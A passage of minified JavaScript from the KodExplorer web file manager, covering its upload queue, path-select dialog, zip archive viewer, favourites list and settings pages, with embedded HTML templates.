t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='<div id="'+e.id+'" class="item"><div class="info">'+'<span class="title" title="'+htmlEncode(e.upload_to+a)+'" data-name="'+htmlEncode(e.upload_to+a)+'">'+htmlEncode(core.pathThis(a))+"</span>"+'<span class="size">'+core.fileSize(e.size)+"</span>"+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t,i){var a=urlEncode(e.file.fullPath);(void 0==a||"undefined"==a)&&(a=""),t.fullPath=a,t.upload_to=e.file.upload_to,i["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%"></div></div>').appendTo(a).find(".progress-bar")),a.find(".state").text((100*t).toFixed(1)+"%("+i+")"),n.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var i=36*t.index(".item");$(".uploader-content").scrollTop(i)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];if(a.code){if(t.addClass("success"),t.find(".state").text(n),t.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),a.info){var o="/"+ltrim(htmlEncode(a.info),"/");t.find(".info .title").html(core.pathThis(o)).attr("title",o).attr("data-name",o)}}else t.addClass("error").find(".state").addClass("error"),t.find(".state").text(n).attr("title",n)}uploader.removeFile(e),t.find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")";if(e.serverData){var a=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,a>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf("<!--user login-->"))return $.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),Tips.tips("login error!",!1),void 0;if(e.serverData.data){var n=e.serverData.data;i=LNG[n]?LNG[n]:n}else e.serverData._raw&&(i=e.serverData._raw)}"http"==t&&(i=LNG.upload_error_http),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i).attr("title",i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='<div class="upload-tips"> <div> <i class="icon-cloud cloud1 moveLeftLoop"></i> <i class="icon-cloud cloud2"></i> <i class="icon-cloud cloud3 moveLeftLoop"></i> </div> <div class="cloud-moveup"><i class="moveTopLoop icon-circle-arrow-up"></i></div> <div class="msg">'+LNG.upload_drag_tips+"</div> </div>";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var a=$(i.DOM.wrap),n=t.frames.OpenpathSelectApi,o='<input type="text" class="path_select_input" readonly="true" disabled="true" />';"file"==e.type&&(o+='<span class="label label-primary">'+e.allowExt+"</span>"),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),a=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,i)?!0:!1},r=function(){var t=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var a=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[n.G.this_path],a.hasClass("folderBox")&&(i=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);i=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=n.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=n.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";t=$.extend(a,t),t.firstPath&&(n+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?t.single&&"all"!=t.type?i(a[0]):i(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('<div style="width:0px;height:0px;" class="'+i+'"></div>').appendTo("body");var a=G.static_path+"others/sound/"+t,n=e("./myPlayer");n.playSound(a,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(t[e])},100)}}}),define("app/common/core.zipView",[],function(){return function(e){var t,i={view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,a=$("#"+t.tId+"_switch"),n=$("#"+t.tId+"_ico");a.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),n.before(a).before('<span id="'+t.tId+'_my_ico" class="tree_icon button">'+core.iconSmall(o)+"</span>").remove(),void 0!=t.ext&&n.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="<span class='space' style='display: inline-block;width:"+i*t.level+"px'></span>";a.before(s)}var r='<span class="time">'+date(LNG.time_type,t.mtime)+"</span>";r+='<span class="size">'+core.fileSize(t.size)+"</span>",r+='<span class="menu_more icon-ellipsis-vertical"></span>',$("#"+t.tId+"_span").after(r),a.parent().addClass(t.menuType)}},callback:{onClick:function(e,i,a){$(e.target).hasClass("menu_more")||(t.selectNode(a),f(a),"folder"==a.type&&$("#"+a.tId+"_switch").click())},onCollapse:function(e,t){_(t)},onExpand:function(e,t){_(t)},beforeRightClick:function(e,i){i&&(f(i),t.selectNode(i))},onDblClick:function(e,i,a){$(e.target).hasClass(".menu_more")||"file"==a.type&&o("open",t)}}},a=function(e){for(var t=function(e){for(var i=0;e.length>i;i++)if(void 0!=e[i]){var a=e[i];e[i]={name:core.pathThis(a.filename),path:a.filename,isParent:!!a.child,type:a.folder?"folder":"file",menuType:a.folder?"menuZipListFolder":"menuZipListFile",ext:core.pathExt(a.filename),mtime:a.mtime,index:a.index,size:a.size,child:a.child},a.folder&&delete e[i].ext,e[i].child?(e[i].children=e[i].child,delete e[i].child,t(e[i].children)):delete e[i].child}else delete e[i]},i={},a=0;e.length>a;a++)"string"!=typeof e[a].filename&&e[a].stored_filename&&(e[a].filename=e[a].stored_filename),"string"==typeof e[a].filename&&(e[a].filename=e[a].filename.replace(/\\/g,"/"),i[e[a].filename]=e[a]);for(var n in i)if(!i[n].folder)for(var o=core.pathFather(i[n].filename);""!=o&&"/"!=o&&!i[o]&&!i[rtrim(o,"/")];)i[o]={filename:o,folder:!0,mitme:0,size:0,index:-1},o=core.pathFather(o);var s=[];for(var n in i){var r=i[n],l=core.pathFather(r.filename);if(i[l]&&(l=core.pathFather(r.filename)),i[rtrim(l,"/")]&&(l=rtrim(l,"/")),i[l])i[l].child||(i[l].child=[]),i[l].child.push(i[r.filename]);else{var c=i[r.filename];c&&s.push(c)}}return t(s),s},n=function(){$.contextMenu({selector:".menuZipListFolder",className:"menuZipListFolder",zIndex:9999,callback:function(e){o(e)},items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$.contextMenu({selector:".menuZipListFile",className:"menuZipListFile",zIndex:9999,callback:function(e){o(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep1:"--------",unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$(".menuZipListFile .menu_more,.menuZipListFolder .menu_more").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).contextMenu({x:e.pageX,y:t.top})})},o=function(e,t){if(void 0==t){var i=$(".context-menu-active").parents(".ztree");if(0==i.length)return;t=$.fn.zTree.getZTreeObj(i.attr("id"))}var a=t.getSelectedNodes()[0];switch(e){case"open":c(t,a);break;case"down":l(t,a);break;case"unzip_this":p(t,a);break;case"unzip_to":d(t,a);break;case"info":h(t,a);break;default:}},s={file_num:0,folder_num:0,size:0},r=function(e){if("folder"==e.type){if(s.folder_num++,e.children)for(var t=0;e.children.length>t;t++)r(e.children[t])}else s.file_num++,s.size+=parseInt(e.size)},l=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&download=1&index="+t.index;ui.pathOpen.downloadUrl(a)},c=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&index="+t.index+"&name=/"+urlEncode(t.path),n=t.ext;"zip"==n&&(n="unknow"),t.size>=31457280&&(Tips.tips(LNG.zipview_file_big,"warning"),n="unknow"),ui.pathOpen.open(a,n)},d=function(e,t){core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(i){p(e,t,i)})},p=function(e,t,i){var a=e.setting.filePath;e.setting.fileUrl,void 0==i&&(i=G.this_path,void 0==i&&(i=core.pathFather(a)));var n="./index.php?explorer/unzip";$.ajax({url:n,data:{path:a,path_to:i,unzip_part:t.index},type:"POST",dataType:"json",beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){return Tips.close(e),"editor"==Config.pageApp?(ui.tree.refreshPath(core.pathFather(a)),void 0):(ui.f5(!0,!0,function(){var e=i+core.pathThis(t.path);ui.path.setSelectByFilename(e)}),void 0)}})},f=function(e){var t=u(e),i=LNG.size+" "+t.size_friendly+" ("+t.size+" Byte)";"folder"==e.type&&(i=t.file_num+LNG.file+","+t.folder_num+LNG.folder+", "+i),$("#"+e.tId).parents(".zipViewContent").find(".bottom .info").html(i)},u=function(e){var t={name:e.name,path:e.path,size:e.size,size_friendly:core.fileSize(e.size),mtime:date(LNG.time_type_info,e.mtime)};return 0==e.level&&(t.path=t.name),"folder"==e.type&&(s={file_num:0,folder_num:0,size:0},r(e),$.extend(t,s),t.size_friendly=core.fileSize(t.size)),t},h=function(e,t){var i="folder"==t.type?"folder":core.pathExt(t.path),a="folder"==t.type?tpl_path_info:tpl_file_info,n=template.compile(a),o=u(t);o.LNG=LNG,$.dialog({id:UUID(),padding:5,ico:core.iconSmall(i),fixed:!0,title:core.pathThis(t.path),content:n(o),ok:!0})},m=function(e,t){var i=template.compile(tpl_zipview),a=i({LNG:LNG,treeID:e}),n=$.dialog({className:"zipViewDialog",ico:core.icon("zip"),title:t,width:550,height:420,content:a,resize:!0,padding:0,fixed:!0}),o=15*$(".zipViewContent").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},_=function(e){$("#"+e).find("ul:visible > li > a").each(function(e){$(this).removeClass("odd"),0==e%2&&$(this).addClass("odd")})},v=function(e,o){var s=a(o),r="folderListZip"+UUID();s=ui.tree.treeDataSort(s),m(r,e),n(),s={name:e,ext:"zip",mtime:"",isParent:!0,open:!0,children:s,type:"folder",path:"",index:"-1",menuType:"menuZipListFolder"},$.fn.zTree.init($("#"+r),i,s),t=$.fn.zTree.getZTreeObj(r),_(r),f(t.getNodeByParam("index","-1",null))},g=function(e){var i="explorer/unzipList&access_token="+G.access_token+"&path="+urlEncode(e); -return G.share_page!==void 0?(i="share/unzipList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e),ui.pathOpen.openUnknow(e),void 0):(i=G.app_host+"index.php?"+i,$.ajax({url:i,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(a){Tips.close(a),a.code?(v(core.pathThis(e),a.data),t.setting.filePath=e,t.setting.fileUrl=i):ui.pathOpen.openUnknow(e,a.data)}}),void 0)};g(e)}}),define("app/common/tpl/copyright.html",[],'<div class="copyright_dialog_content">\n <div class="title">\n <div class="logo"><i class="icon-cloud"></i>{{if core.versionType==\'A\'}}KodExplorer {{else}} {{LNG.kod_name}} {{/if}} v{{G.version}}</div>\n <div class=\'info\'>——{{LNG.kod_name_copyright}}</div>\n </div>\n <div class="content">\n <p>{{#LNG.copyright_desc}}</p>\n <div>{{#LNG.copyright_contact}}</div>\n <div>{{#LNG.copyright_info}}</div> \n </div>\n</div>\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/src/setting/fav",[],function(){var e="index.php?fav/",t=function(t){$.ajax({url:e+"get",dataType:"json",async:!1,success:function(e){return e.code?(i(e.data,t),void 0):(Tips.tips(e),void 0)},error:function(){return!1}})},i=function(e,t){var i="<tr class='title'><td class='name'>"+htmlEncode(LNG.name)+"<span>("+LNG.can_not_repeat+")</span></td>"+"<td class='path'>"+htmlEncode(LNG.address)+"<span>("+LNG.absolute_path+")</span></td>"+"<td class='action'>"+LNG.action+"</td>"+"</tr>";for(var a in e)i+="<tr class='favlist' name='"+htmlEncode(e[a].name)+"' path='"+htmlEncode(e[a].path)+"'>"+" <td class='name'><input type='text' id='sname' value='"+htmlEncode(e[a].name)+"' /></td>"+" <td class='path'><input type='text' id='spath' value='"+htmlEncode(e[a].path)+"' /></td>"+" <td class='action'>"+" <button class='btn btn-default btn-sm edit'>"+LNG.button_save_edit+"</button>"+" <button class='btn btn-default btn-sm del'>"+LNG.button_del+"</button>"+" </td>"+"</tr>";if($("table#list").html(i),t&&"fav&"==t.substring(0,4)){var n=t.split("&")[1].split("=")[1],o=t.split("&")[2].split("=")[1],s=t.split("&")[3].split("=")[1];n=htmlEncode(urlDecode(n)),o=htmlEncode(urlDecode(o));var r="<tr class='favlist' name='' path=''> <input type='hidden' id='stype' value='"+s+"' />"+" <td class='name'><input type='text' id='sname' value='"+n+"' /></td>"+" <td class='path'><input type='text' id='spath' value='"+o+"' /></td>"+" <td class='action'>"+" <button class='btn btn-default btn-sm addsave'>"+LNG.button_save+"</button>"+" <button class='btn btn-default btn-sm addexit'>"+LNG.button_cancel+"</button>"+" </td>"+"</tr>";$(r).insertAfter("table#list tr:last")}},a=function(){var e="<tr class='favlist' name='' path=''> <input type='hidden' id='stype' value='folder' /> <td class='name'><input type='text' id='sname' value='' /></td> <td class='path'><input type='text' id='spath' value='' /></td> <td class='action'> <button class='btn btn-default btn-sm addsave'>"+LNG.button_save+"</button>"+" <button class='btn btn-default btn-sm addexit'>"+LNG.button_cancel+"</button>"+" </td>"+"</tr>";$(e).insertAfter("table#list tr:last")},n=function(){var e=$(this).parent().parent();$(e).detach()},o=function(){var t=$(this).parent().parent(),i=$(t).find("#sname").val(),a=$(t).find("#spath").val(),n=$(t).find("#stype").val();return""==i||""==a?(Tips.tips(LNG.not_null,"error"),!1):($.ajax({url:e+"add&name="+urlEncode(i)+"&path="+urlEncode(a)+"&type="+n,dataType:"json",success:function(e){if(Tips.tips(e),e.code){$(t).attr("name",i),$(t).attr("path",a);var n="<button class='btn btn-default btn-sm edit'>"+LNG.button_save_edit+"</button>"+"<button class='btn btn-default btn-sm del'>"+LNG.button_del+"</button>";$(t).find("td.action").html(n),ShareData.frameTop("",function(e){e.ui.tree.refreshFav()})}}}),void 0)},s=function(){var i=$(this).parent().parent(),a=$(i).attr("name"),n=$(i).find("#sname").val(),o=$(i).find("#spath").val();return""==n||""==o?(Tips.tips(LNG.not_null,"error"),!1):($.ajax({dataType:"json",url:e+"edit&name="+urlEncode(a)+"&name_to="+urlEncode(n)+"&path_to="+urlEncode(o),success:function(e){Tips.tips(e),e.code&&($(i).attr("name",n),ShareData.frameTop("",function(e){e.ui.tree.refreshFav()}),t())}}),void 0)},r=function(){var t=$(this).parent().parent(),i=$(t).attr("name");$.ajax({url:e+"del&name="+urlEncode(i),dataType:"json",async:!1,success:function(e){Tips.tips(e),e.code&&($(t).detach(),ShareData.frameTop("",function(e){e.ui.tree.refreshFav()}))}})},l=function(){$(".fav .add").live("click",a),$(".fav .addexit").live("click",n),$(".fav .addsave").live("click",o),$(".fav .edit").live("click",s),$(".fav .del").live("click",r)};return l(),{init:t}}),define("app/src/setting/setting",[],function(e){var t,i=function(e){core.setSkin(e),ShareData.frameTop("",function(t){t.ui.setTheme(e)}),"diy"!=e?$(".theme_diy_setting").addClass("hidden"):$(".theme_diy_setting").removeClass("hidden")},a=function(e){core.setSkin(e)};template.helper("menu_info_decode",function(e){var t=htmlEncode(urlDecode(e));return t});var n=function(t){var i={about:e("./page/about.html"),fav:e("./page/fav.html"),help:e("./page/help.html"),member:e("./page/member.html"),system:e("./page/system.html"),theme:e("./page/theme.html"),user:e("./page/user.html"),wall:e("./page/wall.html")};return i[t]},o=function(e){(""==e||void 0==e)&&(e="user"),t=e,"fav&"==e.substring(0,4)&&(e="fav"),$(".selected").removeClass("selected"),$("ul.setting a#"+e).addClass("selected");var i=window.location.href;-1!=i.indexOf("#")&&(i=i.substr(0,i.indexOf("#"))),window.location.href=i+"#"+e,$.ajax({url:"./index.php?setting/slider&slider="+e,beforeSend:function(){$(".main").html("<img src='"+G.static_path+"images/common/loading.gif'/>")},success:function(i){if("about"==e){var a=i.data;if(i.data="",!core.tools.about(a))return;i.data=a}var o=$(".menu_left .selected").clone();o.find(".ripple_father").remove();var r="<div class='h1'>"+o.html()+"</div>",l=n(e),c=template.compile(l),d=c({urlDecode:urlDecode,LNG:LNG,G:G,data:i.data,info:i.info});$(".main").html(r+d),$(".main").fadeIn("fast"),"fav"==e&&Fav.init(t),"member"==e&&System.init(),"theme"==e&&s(),t=e,$("a,img").attr("draggable","false")}})},s=function(){seajs.use("lib/bootstrap-slider/bootstrap-slider.css"),seajs.use("lib/colorpicker/css/colorpicker.css"),e.async("lib/bootstrap-slider/bootstrap-slider.js",function(){$("#colorRotate").slider().on("slide",i)}),e.async("lib/colorpicker/js/colorpicker",function(){$(".colorpicker").remove(),$(".color_picker").ColorPicker({onBeforeShow:function(e){$(e).attr("input-name",$(this).attr("name")),$(this).ColorPickerSetColor(this.value)},onShow:function(e){return $(e).fadeIn(100),!1},onHide:function(e){return $(e).fadeOut(100),!1},onChange:function(e,t){var a=$("input[name="+$(this).attr("input-name")+"]");a.val("#"+t),i()}}).bind("keyup",function(){$(this).ColorPickerSetColor(this.value)})});var t=$(".theme_diy_setting");t.find("input[name]").unbind("change").bind("change",function(){var e=$(this).attr("name");"bg_type"==e&&($(".theme_bg_type_image,.theme_bg_type_color").addClass("hidden"),$(".theme_bg_type_"+$(this).val()).removeClass("hidden")),$(this).attr("data-slider-value")||i()}),t.find(".theme_diy_save").unbind("click").bind("click",function(){var e=G.user_config.theme_diy;$.ajax({url:"index.php?setting/set&k=theme_diy&v="+urlEncode(jsonEncode(e)),dataType:"json",success:function(e){Tips.tips(e)}})}),t.find(".color_list").each(function(){var e=jsonDecode($(this).attr("data-color"));$(this).css("background-image","linear-gradient("+e.color_rotate+"deg,"+e.start_color+","+e.end_color+")")}),t.find(".color_list").unbind("click").bind("click",function(){var e=jsonDecode($(this).attr("data-color"));$.each(e,function(e,a){var n=t.find("input[name="+e+"]");"color_rotate"==e?$("#colorRotate").slider("setValue",parseInt(a)):n.val(a),i()})});var i=function(){if("diy"==LocalData.get("theme")){var e={};t.find("input[name]").each(function(){var i=$(this).attr("name"),a=$(this).val();"checkbox"==$(this).attr("type")?a=Number($(this).is(":checked")):"radio"==$(this).attr("type")&&(a=t.find("[name="+i+"]:checked").val()),e[i]=a}),LocalData.setConfig("kod_diy_style",e),core.setSkin("diy"),ShareData.frameTop("",function(e){e.ui.setTheme("diy")})}}},r=function(){1!=G.is_root&&$("ul.setting #system").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]?$("ul.setting #member").show():$("ul.setting #member").hide(),t=location.hash.split("#",2)[1],o(t),$("ul.setting a").click(function(){t!=$(this).attr("id")&&(t=$(this).attr("id"),o(t))}),$("#password_new").keyEnter(function(){Setting.tools()}),$(".user_config_setting .form_row input").die("change").live("change",function(){var e=$(this),t=e.attr("name"),i=e.val();"checkbox"==e.attr("type")&&(i=e.prop("checked")?"1":"0"),l(t,i)}),$(".path_select").die("click").live("click",function(){core.api.pathSelect({type:"file",title:LNG.path_api_select_image,allowExt:"png|jpg|bmp|gif|jpeg|ico|svg|tiff"},function(e){var e=core.path2url(e);$(".path_select").parent().find("input[type=text]").val(e).trigger("change"),Setting.tools()})}),$(".randomImage").die("click").live("click",function(){var e=$(this),t=function(e){var t=G.my_desktop+"wallpage/";$.get("./index.php?explorer/mkdir&repeat_type=replace&path="+t,function(){$.get("./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e))})};core.api.randomImage(function(i){e.addClass("moveCircle"),e.parent().find("input[type=text]").val(i).trigger("change"),1==$('.box[data-type="wall"]').length&&Setting.tools(),setTimeout(function(){e.removeClass("moveCircle")},1e3),t(i)})}),$(".box .list").live("hover",function(){$(this).addClass("listhover")},function(){$(this).toggleClass("listhover")}).live("click",function(){var e=$(this),t=e.parent();switch(type=t.attr("data-type"),value=e.attr("data-value"),t.find(".this").removeClass("this"),e.addClass("this"),type){case"wall":var a=G.static_path+"images/wall_page/"+value+".jpg";$("#wall_url").val(""),ShareData.frameTop("",function(e){e.ui.setWall(a)});break;case"theme":i(value);break;default:}l(type,value)}),$(".nav a").live("click",function(){$(".nav a").removeClass("this"),$(this).addClass("this");var e=$(this).attr("data-page");$(this).parent().parent().find(".panel").addClass("hidden"),$(this).parent().parent().find("."+e).removeClass("hidden")})},l=function(e,t){var i="index.php?setting/set&k="+e+"&v="+t;$.ajax({url:i,dataType:"json",success:function(e){e.code?Tips.tips(e):core.authCheck("setting:set")?Tips.tips(LNG.config_save_error_file,!1):Tips.tips(LNG.config_save_error_auth,!1)}})},c=function(){var e=$(".selected").attr("id");switch(e){case"user":var t=urlEncode($("#password_now").val()),i=urlEncode($("#password_new").val());if(""==i||""==t){Tips.tips(LNG.password_not_null,"error");break}$.ajax({url:"index.php?user/changePassword&password_now="+t+"&password_new="+i,dataType:"json",success:function(e){if(Tips.tips(e),e.code){var t=ShareData.frameTop();t.location.href="./index.php?user/logout"}}});break;case"wall":var a=$("#wall_url").val();if(""==a){Tips.tips(LNG.picture_can_not_null,"error");break}ShareData.frameTop("",function(e){e.ui.setWall(a)}),$(".box").find(".this").removeClass("this"),$.ajax({url:"index.php?setting/set&k=wall&v="+urlEncode(a),dataType:"json",success:function(e){Tips.tips(e)}});default:}};return r(),{setGoto:o,tools:c,setThemeSelf:a,setTheme:i}}),define("app/src/setting/page/about.html",[],'<div class="section">\n <div class="content">{{#data}}</div>\n</div>\n'),define("app/src/setting/page/fav.html",[],'<div class="panel panel-default fav">\n <table id=\'list\' align="center" border=0 cellspacing=0 cellpadding=0 ></table>\n <a href="javascript:void(0);" class=\'add\'><i class="font-icon icon-plus"></i>{{LNG.button_add}}</a>\n</div>\n'),define("app/src/setting/page/help.html",[],'<div class="section">\n <div class="content">{{#data}}</div>\n</div>\n'),define("app/src/setting/page/member.html",[],'<div class="system_conennt">\n <div class="left_freame">\n <div class="left_header">\n <div class="tab this" id="system_group">{{LNG.system_group_edit}}</div>\n <div class="tab" id="system_role">{{LNG.system_group_role}}</div>\n <div style="clear:both"></div>\n </div>\n <div class="left_content system_group">\n <div id="folderList" class="ztree"></div>\n </div>\n\n <div class="left_content system_role">\n <div class="role_box">\n <ul class="role_list_cell"></ul>\n </div>\n </div>\n </div>\n <!-- left_frame end -->\n\n <div class="right_frame" id="content_system_group">\n <div class="header_content">\n <div class="group_title">\n <a href="javascript:void(0);" class="group_title_span title_tooltip" title="{{LNG.edit}}" data-action="group_edit">--</a>\n <span class="label label-info" style="font-size: 12px;">id:<em class="group_id"></em></span>\n <a href="javascript:void(0);" class="font-icon-label ml-20 title_tooltip" title="{{LNG.system_group_add}}" data-action="group_add_child"><i class="font-icon 